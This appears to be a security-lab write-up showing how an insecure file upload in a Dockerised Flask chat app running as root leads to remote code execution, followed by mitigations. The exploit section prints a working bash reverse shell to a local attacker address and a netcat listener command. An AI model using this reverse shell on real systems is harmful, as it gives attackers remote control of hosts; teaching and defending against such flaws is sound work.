🔴 Hacklet 1 Summary: Reverse Shell Exploit in Containerized Web App

This hacklet demonstrates a critical security vulnerability in a containerized web application by exploiting insecure file uploads and the root user execution inside a Docker container. This allows an attacker to achieve Remote Code Execution (RCE) and potentially break out of the container to modify the host system.

💡 Overview of the Exploit

⚔️ Exploit Steps

📂 1. Create a Malicious Reverse Shell Script

First, we need the attacker's IP address to set up the reverse shell connection. Run the following command in your terminal to find your IP address:

ifconfig

Example output (look for your inet address):

wlp2s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.178.22  netmask 255.255.255.0  broadcast 192.168.178.255

Now, create a malicious shell script that will open a reverse shell connection to your IP address on port 4444:

# reverse_shell.sh
#!/bin/bash
echo "Reverse shell starting..."
bash -i >& /dev/tcp/192.168.178.22/4444 0>&1

🎧 2. Start a Netcat Listener on the Attacker's Machine

To catch the reverse shell, set up a Netcat listener on port 4444 using the following command:

nc -lvnp 4444

📤 3. Upload the reverse_shell.sh File via the Web App

1. Log in to the web application.
2. Go to the chat page and upload the reverse_shell.sh file.
3. Click on the file link in the chat window to execute the script.

🖥️ 4. Reverse Shell Opens on the Attacker’s Machine

Once the victim clicks the link, the reverse shell will connect back to the attacker's machine:

root@c0f1a024b741:/app#

The attacker now has full control over the container!

💥 Potential Impact of the Exploit

This exploit demonstrates a critical security risk that can have the following consequences:

🔧 Mitigation: How to Fix the Vulnerability

Here are several security measures to fix this vulnerability and secure your application.

✅ 1. Run the Container as a Non-Root User

Modify your Dockerfile to create a non-root user and run the container with limited privileges.

Updated Dockerfile:

FROM python:3.9-slim

# Create a new non-root user
RUN useradd -ms /bin/bash nonroot

# Switch to the new user
USER nonroot

WORKDIR /app

COPY . .

RUN pip install -r requirements.txt

EXPOSE 5000

CMD ["python", "run.py"]

✅ 2. Restrict File Uploads

Update the file upload logic to validate uploaded files and only allow specific file types (e.g., images or PDFs). This prevents uploading executable files like .sh or .php.

Updated messaging.py:

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@messaging_bp.route('/conversation/<username>', methods=['POST'])
@login_required
def view_conversation(username):
    if 'file' in request.files:
        file = request.files['file']
        if file and allowed_file(file.filename):
            file.save(os.path.join(UPLOAD_FOLDER, file.filename))
            flash('File uploaded successfully!', 'conversation-success')
        else:
            flash('Invalid file type!', 'file-danger')

✅ 3. Use Multi-Stage Docker Builds to Minimize Attack Surface

Reduce the size of the Docker image and remove unnecessary tools (like bash) to make it harder for attackers to execute commands.

Example Multi-Stage Dockerfile:

FROM python:3.9-slim as builder

WORKDIR /app
COPY . .
RUN pip install -r requirements.txt

FROM python:3.9-slim
COPY --from=builder /app /app
WORKDIR /app
CMD ["python", "run.py"]

✅ 4. Apply Proper File Permissions

Ensure uploaded files are stored with limited permissions to prevent execution.

Updated Dockerfile:

RUN chmod -R 700 /app/uploads

🛡️ Summary of Mitigation Steps